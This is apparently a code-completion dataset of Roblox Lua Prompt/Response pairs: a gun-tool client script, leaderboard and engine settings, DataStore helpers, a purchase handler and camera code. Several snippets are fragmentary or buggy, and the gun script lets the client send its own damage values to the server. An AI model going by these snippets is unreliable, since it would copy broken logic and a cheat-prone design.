local ChangeAmmoAndClip = GunScript_Server:WaitForChild("ChangeAmmoAndClip")
local InflictTarget = GunScript_Server:WaitForChild("InflictTarget")
local AmmoValue = GunScript_Server:WaitForChild("Ammo")
local ClipsValue = GunScript_Server:WaitForChild("Clips")
local GUI = script:WaitForChild("GunGUI")
local IdleAnim
local FireAnim
local ReloadAnim
local ShotgunClipinAnim
local Grip2
local Handle2
local HandleToFire = Handle

if Module.DualEnabled then
	Handle2 = Tool:WaitForChild("Handle2",2)
	if Handle2 == nil and Module.DualEnabled then error("\"Dual\" setting is enabled but \"Handle2\" is missing!") end
end

local Equipped = false
local Enabled = true
local Down = false
local Reloading = false
local AimDown = false
local Ammo = AmmoValue.Value
local Clips = ClipsValue.Value
local MaxClip = Module.MaxClip
local PiercedHumanoid = {}

if Module.IdleAnimationID ~= nil or Module.DualEnabled then
	IdleAnim = Tool:WaitForChild("IdleAnim")
	IdleAnim = Humanoid:LoadAnimation(IdleAnim)
end
if Module.FireAnimationID ~= nil then
	FireAnim = Tool:WaitForChild("FireAnim")
	FireAnim = Humanoid:LoadAnimation(FireAnim)
end
if Module.ReloadAnimationID ~= nil then
	ReloadAnim = Tool:WaitForChild("ReloadAnim")
	ReloadAnim = Humanoid:LoadAnimation(ReloadAnim)
end
if Module.ShotgunClipinAnimationID ~= nil then
	ShotgunClipinAnim = Tool:WaitForChild("ShotgunClipinAnim")
	ShotgunClipinAnim = Humanoid:LoadAnimation(ShotgunClipinAnim)
end

function wait(TimeToWait)
	if TimeToWait ~= nil then
		local TotalTime = 0
		TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait()
		while TotalTime < TimeToWait do
			TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait()
		end
	else
		game:GetService("RunService").Heartbeat:wait()
	end
end

function RayCast(Start,Direction,Range,Ignore)
	local Hit,EndPos = game.Workspace:FindPartOnRay(Ray.new(Start,Direction*Range),Ignore)
	if Hit then
		if (Hit.Transparency > 0.75
			or Hit.Name == "Handle"
			or Hit.Name == "Effect"
			or Hit.Name == "Bullet"
			or Hit.Name == "Laser"
			or string.lower(Hit.Name) == "water"
			or Hit.Name == "Rail"
			or Hit.Name == "Arrow"
			or (Hit.Parent:FindFirstChild("Humanoid") and Hit.Parent.Humanoid.Health == 0)
			or (Hit.Parent:FindFirstChild("Humanoid") and Hit.Parent:FindFirstChild("TEAM") and TEAM and Hit.Parent.TEAM.Value == TEAM.Value))
			or (Hit.Parent:FindFirstChild("Humanoid") and PiercedHumanoid[Hit.Parent.Humanoid]) then
			Hit,EndPos = RayCast(EndPos+(Direction*.01),Direction,Range-((Start-EndPos).magnitude),Ignore)
		end
	end
	return Hit,EndPos
end

function ShakeCamera()
	if Module.CameraShakingEnabled then
		local Intensity = Module.Intensity/(AimDown and Module.MouseSensitive or 1)
		for i = 1, 10 do
			local cam_rot = Camera.CoordinateFrame - Camera.CoordinateFrame.p
			local cam_scroll = (Camera.CoordinateFrame.p - Camera.Focus.p).magnitude
			local ncf = CFrame.new(Camera.Focus.p)*cam_rot*CFrame.fromEulerAnglesXYZ((-Intensity+(math.random()*(Intensity*2)))/100, (-Intensity+(math.random()*(Intensity*2)))/100, 0)
			Camera.CoordinateFrame = ncf*CFrame.new(0, 0, cam_scroll)
			wait()
		end
	end
end

function Fire(ShootingHandle)
	local PierceAvailable = Module.Piercing
	PiercedHumanoid = {}
	if FireAnim then FireAnim:Play(nil,nil,Module.FireAnimationSpeed) end
	if not ShootingHandle.FireSound.Playing or not ShootingHandle.FireSound.Looped then ShootingHandle.FireSound:Play() script.Parent.Model.casing:FireServer() end
	local Start = (Humanoid.Torso.CFrame * CFrame.new(0,1.5,0)).p--(Handle.CFrame * CFrame.new(Module.MuzzleOffset.X,Module.MuzzleOffset.Y,Module.MuzzleOffset.Z)).p
	local Spread = Module.Spread*(AimDown and 1-Module.SpreadRedution or 1)
	local Direction = (CFrame.new(Start,Mouse.Hit.p) * CFrame.Angles(math.rad(-Spread+(math.random()*(Spread*2))),math.rad(-Spread+(math.random()*(Spread*2))),0)).lookVector
	while PierceAvailable >= 0 do
		local Hit,EndPos = RayCast(Start,Direction,5000,Character)
		if not Module.ExplosiveEnabled then
			if Hit and Hit.Parent then
				local TargetHumanoid = Hit.Parent:FindFirstChild("Humanoid")
				local TargetTorso = Hit.Parent:FindFirstChild("Humanoid")
				--local TargetTEAM = Hit.Parent:FindFirstChild("TEAM")
				if TargetHumanoid and TargetHumanoid.Health > 0 and TargetTorso then
					--if TargetTEAM and TargetTEAM.Value ~= TEAM.Value then
						InflictTarget:FireServer(TargetHumanoid,
												TargetTorso,
												(Hit.Name == "Head" and Module.HeadshotEnabled) and Module.BaseDamage * Module.HeadshotDamageMultiplier or Module.BaseDamage,
												Direction,
												Module.Knockback,
												Module.Lifesteal,
												Module.FlamingBullet)
						PiercedHumanoid[TargetHumanoid] = true
					--end
				else
					PierceAvailable = 0
				end
			end
		else
			local Explosion = Instance.new("Explosion")
			Explosion.BlastRadius = Module.Radius
			Explosion.BlastPressure = 0
			Explosion.Position = EndPos
			Explosion.Parent = Workspace.CurrentCamera
			Explosion.Hit:connect(function(Hit)
				if Hit and Hit.Parent and Hit.Name == "Torso" then
					local TargetHumanoid = Hit.Parent:FindFirstChild("Humanoid")
					local TargetTorso = Hit.Parent:FindFirstChild("Torso")
					--local TargetTEAM = Hit.Parent:FindFirstChild("TEAM")
					if TargetHumanoid and TargetHumanoid.Health > 0 and TargetTorso then
						--if TargetTEAM and TargetTEAM.Value ~= TEAM.Value then
							InflictTarget:FireServer(TargetHumanoid,
													TargetTorso,
													(Hit.Name == "Head" and Module.HeadshotEnabled) and Module.BaseDamage * Module.HeadshotDamageMultiplier or Module.BaseDamage,
													Direction,
													Module.Knockback,
													Module.Lifesteal,
													Module.FlamingBullet)
						--end
					end
				end
			end)
			PierceAvailable = 0
		end
		PierceAvailable = Hit and (PierceAvailable - 1) or -1
		script.Parent.BulletVisualizerScript.Visualize:Fire(nil,ShootingHandle,
																	Module.MuzzleOffset,
																	EndPos,
																	script.MuzzleEffect,
																	script.HitEffect,
																	Module.HitSoundIDs[math.random(1,#Module.HitSoundIDs)],
																	{Module.ExplosiveEnabled,Module.BlastRadius,Module.BlastPressure},
																	{Module.BulletSpeed,Module.BulletSize,Module.BulletColor,Module.BulletTransparency,Module.BulletMaterial,Module.FadeTime},
																	false,
																	PierceAvailable == -1 and Module.VisualizerEnabled or false)
		script.Parent.VisualizeBullet:FireServer(ShootingHandle,
														Module.MuzzleOffset,
														EndPos,
														script.MuzzleEffect,
														script.HitEffect,
														Module.HitSoundIDs[math.random(1,#Module.HitSoundIDs)],
														{Module.ExplosiveEnabled,Module.BlastRadius,Module.BlastPressure},
														{Module.BulletSpeed,Module.BulletSize,Module.BulletColor,Module.BulletTransparency,Module.BulletMaterial,Module.FadeTime},
														true,
														PierceAvailable == -1 and Module.VisualizerEnabled or false)
		Start = EndPos + (Direction*0.01)
	end
end

function Reload()
	if Enabled and not Reloading and (Clips > 0 or not Module.LimitedClipEnabled) and Ammo < Module.AmmoPerClip then
		Reloading = true
		if AimDown then
			Workspace.CurrentCamera.FieldOfView = 70
			--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui")
			if GUI then GUI:Destroy() end]]
			GUI.Scope.Visible = false
			game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic
			script["Mouse Sensitivity"].Disabled = true
			AimDown = false
			Mouse.Icon = "rbxassetid://"..Module.MouseIconID
		end
		UpdateGUI()
		if Module.ShotgunReload then
			for i = 1,(Module.AmmoPerClip - Ammo) do
				if ShotgunClipinAnim then ShotgunClipinAnim:Play(nil,nil,Module.ShotgunClipinAnimationSpeed) end
				Handle.ShotgunClipin:Play()
				wait(Module.ShellClipinSpeed)
			end
		end
		if ReloadAnim then ReloadAnim:Play(nil,nil,Module.ReloadAnimationSpeed) end
		Handle.ReloadSound:Play() script.Parent.Model.reload:FireServer()
		wait(Module.ReloadTime)
		if Module.LimitedClipEnabled then Clips = Clips - 1 end
		Ammo = Module.AmmoPerClip
		ChangeAmmoAndClip:FireServer(Ammo,Clips)
		Reloading = false
		UpdateGUI()
	end
end

function UpdateGUI()
	GUI.Frame.Ammo.Fill:TweenSizeAndPosition(UDim2.new(Ammo/Module.AmmoPerClip,0,1,0), UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quint, 0.25, true)
	GUI.Frame.Clips.Fill:TweenSizeAndPosition(UDim2.new(Clips/Module.MaxClip,0,1,0), UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quint, 0.25, true)
	GUI.Frame.Ammo.Current.Text = Ammo
	GUI.Frame.Ammo.Max.Text = Module.AmmoPerClip
	GUI.Frame.Clips.Current.Text = Clips
	GUI.Frame.Clips.Max.Text = Module.MaxClip

	GUI.Frame.Ammo.Current.Visible = not Reloading
	GUI.Frame.Ammo.Max.Visible = not Reloading
	GUI.Frame.Ammo.Frame.Visible = not Reloading
	GUI.Frame.Ammo.Reloading.Visible = Reloading

	GUI.Frame.Clips.Current.Visible = not (Clips <= 0)
	GUI.Frame.Clips.Max.Visible = not (Clips <= 0)
	GUI.Frame.Clips.Frame.Visible = not (Clips <= 0)
	GUI.Frame.Clips.NoMoreClip.Visible = (Clips <= 0)

	GUI.Frame.Clips.Visible = Module.LimitedClipEnabled
	GUI.Frame.Size = Module.LimitedClipEnabled and UDim2.new(0,250,0,100) or UDim2.new(0,250,0,55)
	GUI.Frame.Position = Module.LimitedClipEnabled and UDim2.new(1,-260,1,-110)or UDim2.new(1,-260,1,-65)
end

Mouse.Button1Down:connect(function()
	Down = true
	local IsChargedShot = false
	if Equipped and Enabled and Down and not Reloading and Ammo > 0 and Humanoid.Health > 0 then
		Enabled = false
		if Module.ChargedShotEnabled then
			if HandleToFire:FindFirstChild("ChargeSound") then HandleToFire.ChargeSound:Play() end
			wait(Module.ChargingTime)
			IsChargedShot = true
		end
		if Module.MinigunEnabled then
			if HandleToFire:FindFirstChild("WindUp") then HandleToFire.WindUp:Play() end
			wait(Module.DelayBeforeFiring)
		end
		while Equipped and not Reloading and (Down or IsChargedShot) and Ammo > 0 and Humanoid.Health > 0 do
			IsChargedShot = false
			for i = 1,(Module.BurstFireEnabled and Module.BulletPerBurst or 1) do
				Spawn(ShakeCamera)
				for x = 1,(Module.ShotgunEnabled and Module.BulletPerShot or 1) do
					Fire(HandleToFire)
				end
				Ammo = Ammo - 1
				ChangeAmmoAndClip:FireServer(Ammo,Clips)
				UpdateGUI()
				if Module.BurstFireEnabled then wait(Module.BurstRate) end
				if Ammo <= 0 then break end
			end
			HandleToFire = (HandleToFire == Handle and Module.DualEnabled) and Handle2 or Handle
			wait(Module.FireRate)
			if not Module.Auto then break end
		end
		if HandleToFire.FireSound.Playing and HandleToFire.FireSound.Looped then HandleToFire.FireSound:Stop() end
		if Module.MinigunEnabled then
			if HandleToFire:FindFirstChild("WindDown") then HandleToFire.WindDown:Play() end
			wait(Module.DelayAfterFiring)
		end
		Enabled = true
		if Ammo <= 0 then Reload() end
	end
end)
Mouse.Button1Up:connect(function()
	Down = false
end)

ChangeAmmoAndClip.OnClientEvent:connect(function(ChangedAmmo,ChangedClips)
	Ammo = ChangedAmmo
	Clips = ChangedClips
	UpdateGUI()
end)
Tool.Equipped:connect(function(TempMouse)
	Equipped = true
	UpdateGUI()
	if Module.AmmoPerClip ~= math.huge then GUI.Parent = Player.PlayerGui end
	TempMouse.Icon = "rbxassetid://"..Module.MouseIconID
	if IdleAnim then IdleAnim:Play(nil,nil,Module.IdleAnimationSpeed) end
	TempMouse.KeyDown:connect(function(Key)
		if string.lower(Key) == "r" then
			Reload()
		elseif string.lower(Key) == "e" then
			if not Reloading and AimDown == false and Module.SniperEnabled then
				Workspace.CurrentCamera.FieldOfView = Module.FieldOfView
				--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") or Tool.ZoomGui:Clone()
				GUI.Parent = game.Players.LocalPlayer.PlayerGui]]
				GUI.Scope.Visible = true
				game.Players.LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson
				script["Mouse Sensitivity"].Disabled = false
				AimDown = true
				Mouse.Icon="http://www.roblox.com/asset?id=187746799"
			else
				Workspace.CurrentCamera.FieldOfView = 70
				--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui")
				if GUI then GUI:Destroy() end]]
				GUI.Scope.Visible = false
				game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic
				script["Mouse Sensitivity"].Disabled = true
				AimDown = false
				Mouse.Icon = "rbxassetid://"..Module.MouseIconID
			end
		end
	end)
	if Module.DualEnabled and not Workspace.FilteringEnabled then
		Handle2.CanCollide = false
		local LeftArm = Tool.Parent:FindFirstChild("Left Arm")
		local RightArm = Tool.Parent:FindFirstChild("Right Arm")
		if RightArm then
			local Grip = RightArm:WaitForChild("RightGrip",0.01)
			if Grip then
				Grip2 = Grip:Clone()
				Grip2.Name = "LeftGrip"
				Grip2.Part0 = LeftArm
				Grip2.Part1 = Handle2
				--Grip2.C1 = Grip2.C1:inverse()
				Grip2.Parent = LeftArm
			end
		end
	end
end)
Tool.Unequipped:connect(function()
	Equipped = false
	GUI.Parent = script
	if IdleAnim then IdleAnim:Stop() end
		if AimDown then
			Workspace.CurrentCamera.FieldOfView = 70
			--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui")
			if GUI then GUI:Destroy() end]]
			GUI.Scope.Visible = false
			game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic
			script["Mouse Sensitivity"].Disabled = true
			AimDown = false
			Mouse.Icon = "rbxassetid://"..Module.MouseIconID
		end
	if Module.DualEnabled and not Workspace.FilteringEnabled then
		Handle2.CanCollide = true
		if Grip2 then Grip2:Destroy() end
	end
end)
Humanoid.Died:connect(function()
	Equipped = false
	GUI.Parent = script
	if IdleAnim then IdleAnim:Stop() end
		if AimDown then
			Workspace.CurrentCamera.FieldOfView = 70
			--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui")
			if GUI then GUI:Destroy() end]]
			GUI.Scope.Visible = false
			game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic
			script["Mouse Sensitivity"].Disabled = true
			AimDown = false
			Mouse.Icon = "rbxassetid://"..Module.MouseIconID
		end
	if Module.DualEnabled and not Workspace.FilteringEnabled then
		Handle2.CanCollide = true
		if Grip2 then Grip2:Destroy() end
	end
end)


Prompt: -- [ SETTINGS ] --

Response:
local statsName = "Diamonds" -- Your stats name
local maxItems = 15 -- Max number of items to be displayed on the leaderboard
local minValueDisplay = 1 -- Any numbers lower than this will be excluded
local maxValueDisplay = 10e15 -- (10 ^ 15) Any numbers higher than this will be excluded
local abbreviateValue = false -- The displayed number gets abbreviated to make it "human readable"
local updateEvery = 60 -- (in seconds) How often the leaderboard has to update
local headingColor = Color3.fromRGB(24, 223, 254) -- The background color of the heading


Response:
function onClicked()
Car.BodyVelocity.velocity = Vector3.new(0, 2, 0)
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt: --{HPattern, Automatic, DualClutch, CVT}

Response:
tri = script.Trigger

if script.Parent.Functions.ShiftUpRequested.Value == true then
	script.RPMManagement.Disabled = false
	FL.MotorMaxTorque = 0
	FR.MotorMaxTorque = 0
	RL.MotorMaxTorque = 0
	RR.MotorMaxTorque = 0

	if script.Parent.Storage.TransmissionType.Value == "HPattern" then

	end

	if script.Parent.Storage.TransmissionType.Value == "Automatic" then
		rpm.Value = ((trans.Value*xxx)*(1-tri.Value)) + ((trans.Value*xx1)*(tri.Value))
	end

	if script.Parent.Storage.TransmissionType.Value == "DualClutch" then
		rpm.Value = ((trans.Value*xxx)*(1-tri.Value)) + ((trans.Value*xx1)*(tri.Value))
	end

	if script.Parent.Storage.TransmissionType.Value == "CVT" then

	end
end

if carSeat.Storage.Handbrake.Value == true then
		FL.MotorMaxTorque = 0
		FR.MotorMaxTorque = 0
		end

if currentgear.Value == 1 then
	FL.MotorMaxTorque = (10000)*(carSeat.Storage.BrakeBias.Value/100)
		FR.MotorMaxTorque = (10000)*(carSeat.Storage.BrakeBias.Value/100)
		RL.MotorMaxTorque = (10000)*(1-(carSeat.Storage.BrakeBias.Value/100))
		RR.MotorMaxTorque = (10000)*(1-(carSeat.Storage.BrakeBias.Value/100))
		FL.AngularVelocity = 0
		FR.AngularVelocity = 0
		RL.AngularVelocity = 0
		RR.AngularVelocity = 0
		FL.MotorMaxAcceleration = 30
		FR.MotorMaxAcceleration = 30
		RL.MotorMaxAcceleration = 30
		RR.MotorMaxAcceleration = 30
end
if script.Parent.Functions.ShiftDownRequested.Value == true then
	script.RPMManagement.Disabled = false
	if script.Parent.Storage.Brake.Value ~= 1 and carSeat.Storage.Handbrake.Value ~= true then
	FL.MotorMaxTorque = 0
	FR.MotorMaxTorque = 0
	RL.MotorMaxTorque = 0
	RR.MotorMaxTorque = 0
	end
	if script.Parent.Storage.TransmissionType.Value == "HPattern" then

	end

	if script.Parent.Storage.TransmissionType.Value == "Automatic" then
		rpm.Value = ((trans.Value*xxx)*(1-tri.Value)) + ((trans.Value*x1x)*(tri.Value))
	end

	if script.Parent.Storage.TransmissionType.Value == "DualClutch" then
		rpm.Value = ((trans.Value*xxx)*(1-tri.Value)) + ((trans.Value*x1x)*(tri.Value))
	end

	if script.Parent.Storage.TransmissionType.Value == "CVT" then

	end

end

if speed < 2 then
	coast = 0
else
	coast = 5
end
m = (hp.Value / 2155)

if rpm.Value < 950/(four/2) then
	ch = 4
else
	ch = 1
end

if carSeat.Storage.Mode.Value == "City" then
	mode = 0.81
elseif carSeat.Storage.Mode.Value == "Sport" then
	mode = 0.98
elseif carSeat.Storage.Mode.Value == "Snow" then
	mode = 0.6
end

carSeat.Parent.Engine.Intake.Pitch = 1


Response:
function onClicked()
R.Function1.Disabled = false
R.loop.Disabled = true
R.BrickColor = BrickColor.new("Really red")

R.Function2.Disabled = true

end
script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt:
-----------------
--| Constants |--
-----------------

Response:
local GRAVITY_ACCELERATION = workspace.Gravity

local RELOAD_TIME = 3.5 -- Seconds until tool can be used again
local ROCKET_SPEED = 800 -- Speed of the projectile

local MISSILE_MESH_ID = 'http://www.roblox.com/asset/?id=2251534'
local MISSILE_MESH_SCALE = Vector3.new(0.35, 0.35, 0.25)
local ROCKET_PART_SIZE = Vector3.new(1.2, 1.2, 3.27)


Prompt: --Updates the gear number

Response:
val.Gear.Changed:connect(function()

	Guages.Gear.Text = tostring(val.Gear.Value)

end)


Prompt:
-- ============================================
-- Falling Objects

Response:
local cube =
{
    MODEL = ServerStorage["Cube"],
    DAMAGE = 150,
    NUMBER_PER_MINUTE = 40,
    CLEANUP_DELAY_IN_SECONDS = 20
}
table.insert(fallingStuffTable, cube)


Prompt: --[Variables]--

Response:
local BHText = workspace.HoursValues.BHTextValue;
local BHValue = workspace.HoursValues.BHValue;
local BHEndValue = workspace.HoursValues.BHEndValue;

local Stunning = script.Parent.Stunning;

local StunsValue = script.Parent.Stun.GetStuns


Response:
function Datastore.Get(datastore, key, scope)
	--- Sanity check
	if key == nil or datastore == nil then
		print("Key or datastore nil", true)
		return
	end

	--- If datastore argument is not a datastore obj - find it, and cache it to save memory
	if type(datastore) == "string" then
		if not datastoresCache[datastore] then
			datastoresCache[datastore] = {}
		end
		if not datastoresCache[datastore][scope] then
			datastoresCache[datastore][scope] = _L.DataStoreService:GetDataStore(datastore, scope)
		end
		datastore = datastoresCache[datastore][scope]
	end

	--- Attempt it
	local attempts = 0
	local success = false
	local returnedValue
	--
	while (attempts < maxGetAttempts and returnedValue == nil) do
		attempts = attempts + 1
		success = pcall(function()
			returnedValue = datastore:GetAsync(key)
		end)
		if not success then
			wait(.5)
		end
	end

	--- Debug prints
	if Debug then
		if attempts >= maxGetAttempts or returnedValue == nil then
			print("Could not get key --- " .. key .. "", true)
		end
	end

	--
	return returnedValue, success
end

function Datastore.Set(datastore, key, value, scope)
	--- Sanity check
	if key == nil or value == nil or datastore == nil then
		print("Key, value, or datastore nil", true)
		return false
	end

	--- If datastore argument is not a datastore obj - find it, and cache it to save memory
	if type(datastore) == "string" then
		if not datastoresCache[datastore] then
			datastoresCache[datastore] = {}
		end
		if not datastoresCache[datastore][scope] then
			datastoresCache[datastore][scope] = _L.DataStoreService:GetDataStore(datastore, scope)
		end
		datastore = datastoresCache[datastore][scope]
	end

	--- Attempt it
	local attempts = 0
	local success = false
	--
	repeat
		attempts = attempts + 1
		success = pcall(function()
			datastore:SetAsync(key, value)
		end)
		if not success then
			wait(.5)
		end
	until success or attempts >= maxSetAttempts

	--- Debug prints
	if Debug then
		if attempts >= maxSetAttempts then
			print("Failed to set key --- " .. key .. "", true)
		end
	end

	--
	return success
end

function Datastore.Update(datastore, key, updateFunction, scope)
	--- Sanity check
	if key == nil or updateFunction == nil or datastore == nil then
		print("Key, function, or datastore nil", true)
		return false
	end

	--- If datastore argument is not a datastore obj - find it, and cache it to save memory
	if type(datastore) == "string" then
		if not datastoresCache[datastore] then
			datastoresCache[datastore] = {}
		end
		if not datastoresCache[datastore][scope] then
			datastoresCache[datastore][scope] = _L.DataStoreService:GetDataStore(datastore, scope)
		end
		datastore = datastoresCache[datastore][scope]
	end

	--- Attempt it
	local attempts = 0
	local success = false
	--
	repeat
		attempts = attempts + 1
		success = pcall(function()
			datastore:UpdateAsync(key, updateFunction)
		end)
		if not success then
			wait(.5)
		end
	until success or attempts >= maxUpdateAttempts

	--- Debug prints
	if Debug then
		if attempts >= maxUpdateAttempts then
			print("Failed to update key --- " .. key .. "", true)
		end
	end

	--
	return success
end


Prompt:
--[[
	Player state. Upon entering state Dead, will try and switch to spectating shortly after.
]]

Response: local PlayerDead = {}


Prompt: --// if a player is done typing, allow them to use Q/E to change spec again //--

Response:
UIS.TextBoxFocusReleased:connect(function()
	focusedOnText = false
end)


Prompt: ---[[ Chat Text Size Settings ]]

Response:
module.ChatWindowTextSize = 22
module.ChatChannelsTabTextSize = 18
module.ChatBarTextSize = 22
module.ChatWindowTextSizePhone = 14
module.ChatChannelsTabTextSizePhone = 18
module.ChatBarTextSizePhone = 14


Prompt:
--[[script.Parent.MouseButton1Click:connect(function()
	p = script.Parent.Parent.Parent.Parent.Parent
	script.Parent.Parent.Visible = false
	if p.Order.Value == true then
		wait()
		ids = 21341246
game:GetService("MarketplaceService"):PromptProductPurchase(p, ids)
	print('passed.5')
	wait()
	script.Parent.Parent.Parent:Destroy()
		-- setup local variables
end
end)--]]

Response:
ID = game.Workspace.McDId.Value

script.Parent.MouseButton1Click:connect(function()
	script.Parent.Parent.Visible = false
	Service = game:GetService('MarketplaceService')
Player = script.Parent.Parent.Parent.Parent.Parent
local s,e = coroutine.resume(coroutine.create(function()
    if Player:findFirstChild("Backpack") then
     if Player:findFirstChild("Backpack") then
       Service.ProcessReceipt = (function(receiptInfo)
        for i,v in pairs(Player.Order:GetChildren()) do
			if v:IsA("BoolValue") then
			game.Lighting[v.Name]:clone().Parent = Player.Backpack
			end
				end
		Player.Order:ClearAllChildren()
		Player.Order.Value = false;
        Service.ProcessReceipt = nil;
		for a,b in pairs(Player.PlayerGui:GetChildren()) do
			if b.Name == "Incomplete" then
				b:Destroy()
			end
		end
       end)
       Service:PromptProductPurchase(Player,ID);
script.Parent.Parent.Parent.Name = "Incomplete"
     end
 end
end))
if not s then Instance.new("Hint",game.Workspace).Text = "Error: "..e end
end)


Prompt: --[[Engine]]

Response:
	--Torque Curve
	Tune.Horsepower		= 425		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 6000		--		Use sliders to manipulate values
	Tune.Redline		= 6700		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16

	--Incline Compensation
	Tune.InclineComp	= 1.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)


Prompt: -- Listener for changes to workspace.CurrentCamera

Response:
function BaseCamera:OnCurrentCameraChanged()
	if UserInputService.TouchEnabled then
		if self.viewportSizeChangedConn then
			self.viewportSizeChangedConn:Disconnect()
			self.viewportSizeChangedConn = nil
		end

		local newCamera = game.Workspace.CurrentCamera

		if newCamera then
			self:OnViewportSizeChanged()
			self.viewportSizeChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
				self:OnViewportSizeChanged()
			end)
		end
	end

	-- VR support additions
	if self.cameraSubjectChangedConn then
		self.cameraSubjectChangedConn:Disconnect()
		self.cameraSubjectChangedConn = nil
	end

	local camera = game.Workspace.CurrentCamera
	if camera then
		self.cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):Connect(function()
			self:OnNewCameraSubject()
		end)
		self:OnNewCameraSubject()
	end
end

function BaseCamera:OnDynamicThumbstickEnabled()
	if UserInputService.TouchEnabled then
		self.isDynamicThumbstickEnabled = true
	end
end

function BaseCamera:OnDynamicThumbstickDisabled()
	self.isDynamicThumbstickEnabled = false
end

function BaseCamera:OnGameSettingsTouchMovementModeChanged()
	if Players.LocalPlayer.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then
		if (UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.DynamicThumbstick
			or UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.Default) then
			self:OnDynamicThumbstickEnabled()
		else
			self:OnDynamicThumbstickDisabled()
		end
	end
end

function BaseCamera:OnDevTouchMovementModeChanged()
	if Players.LocalPlayer.DevTouchMovementMode.Name == "DynamicThumbstick" then
		self:OnDynamicThumbstickEnabled()
	else
		self:OnGameSettingsTouchMovementModeChanged()
	end
end

function BaseCamera:OnPlayerCameraPropertyChange()
	-- This call forces re-evaluation of player.CameraMode and clamping to min/max distance which may have changed
	self:SetCameraToSubjectDistance(self.currentSubjectDistance)
end

function BaseCamera:GetCameraHeight()
	if VRService.VREnabled and not self.inFirstPerson then
		return math.sin(VR_ANGLE) * self.currentSubjectDistance
	end
	return 0
end

function BaseCamera:InputTranslationToCameraAngleChange(translationVector, sensitivity)
	if not FFlagUserDontAdjustSensitvityForPortrait then
		local camera = game.Workspace.CurrentCamera
		if camera and camera.ViewportSize.X > 0 and camera.ViewportSize.Y > 0 and (camera.ViewportSize.Y > camera.ViewportSize.X) then
			-- Screen has portrait orientation, swap X and Y sensitivity
			return translationVector * Vector2.new( sensitivity.Y, sensitivity.X)
		end
	end
	return translationVector * sensitivity
end

function BaseCamera:Enable(enable)
	if self.enabled ~= enable then
		self.enabled = enable
		if self.enabled then
			self:ConnectInputEvents()
			self:BindContextActions()

			if Players.LocalPlayer.CameraMode == Enum.CameraMode.LockFirstPerson then
				self.currentSubjectDistance = 0.5
				if not self.inFirstPerson then
					self:EnterFirstPerson()
				end
			end
		else
			self:DisconnectInputEvents()
			self:UnbindContextActions()
			-- Clean up additional event listeners and reset a bunch of properties
			self:Cleanup()
		end
	end
end

function BaseCamera:GetEnabled()
	return self.enabled
end

function BaseCamera:OnInputBegan(input, processed)
	if input.UserInputType == Enum.UserInputType.Touch then
		self:OnTouchBegan(input, processed)
	elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
		self:OnMouse2Down(input, processed)
	elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
		self:OnMouse3Down(input, processed)
	end
end

function BaseCamera:OnInputChanged(input, processed)
	if input.UserInputType == Enum.UserInputType.Touch then
		self:OnTouchChanged(input, processed)
	elseif input.UserInputType == Enum.UserInputType.MouseMovement then
		self:OnMouseMoved(input, processed)
	end
end

function BaseCamera:OnInputEnded(input, processed)
	if input.UserInputType == Enum.UserInputType.Touch then
		self:OnTouchEnded(input, processed)
	elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
		self:OnMouse2Up(input, processed)
	elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
		self:OnMouse3Up(input, processed)
	end
end

function BaseCamera:OnPointerAction(wheel, pan, pinch, processed)
	if processed then
		return
	end

	if pan.Magnitude > 0 then
		local inversionVector = Vector2.new(1, UserGameSettings:GetCameraYInvertValue())
		local rotateDelta = self:InputTranslationToCameraAngleChange(PAN_SENSITIVITY*pan, MOUSE_SENSITIVITY)*inversionVector
		self.rotateInput = self.rotateInput + rotateDelta
	end

	local zoom = self.currentSubjectDistance
	local zoomDelta = -(wheel + pinch)

	if abs(zoomDelta) > 0 then
		local newZoom
		if self.inFirstPerson and zoomDelta > 0 then
			newZoom = FIRST_PERSON_DISTANCE_THRESHOLD
		else
			newZoom = zoom + zoomDelta*(1 + zoom*ZOOM_SENSITIVITY_CURVATURE)
		end

		self:SetCameraToSubjectDistance(newZoom)
	end
end

function BaseCamera:ConnectInputEvents()
	self.pointerActionConn = UserInputService.PointerAction:Connect(function(wheel, pan, pinch, processed)
		self:OnPointerAction(wheel, pan, pinch, processed)
	end)

	self.inputBeganConn = UserInputService.InputBegan:Connect(function(input, processed)
		self:OnInputBegan(input, processed)
	end)

	self.inputChangedConn = UserInputService.InputChanged:Connect(function(input, processed)
		self:OnInputChanged(input, processed)
	end)

	self.inputEndedConn = UserInputService.InputEnded:Connect(function(input, processed)
		self:OnInputEnded(input, processed)
	end)

